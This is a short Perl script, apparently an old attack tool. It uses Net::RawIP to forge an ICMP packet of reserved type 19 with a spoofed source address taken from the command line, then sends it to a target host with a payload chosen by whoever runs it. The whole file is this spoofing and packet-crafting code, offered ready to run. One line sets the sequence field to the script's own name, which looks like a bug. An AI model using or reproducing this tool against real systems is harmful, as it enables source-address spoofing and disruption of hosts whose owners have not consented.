#!/usr/bin/perl
use Net::RawIP qw(:pcap);
$a = new Net::RawIP ({icmp =>{}});
$a->set({ip => {saddr => $ARGV[0], # insert your site here !
                daddr => $ARGV[1]},
	 icmp => {type => 19, id => $$}
	 });  
$a->set({icmp => {sequence => $0,data => $ARGV[2]}});
$a->send(1,1);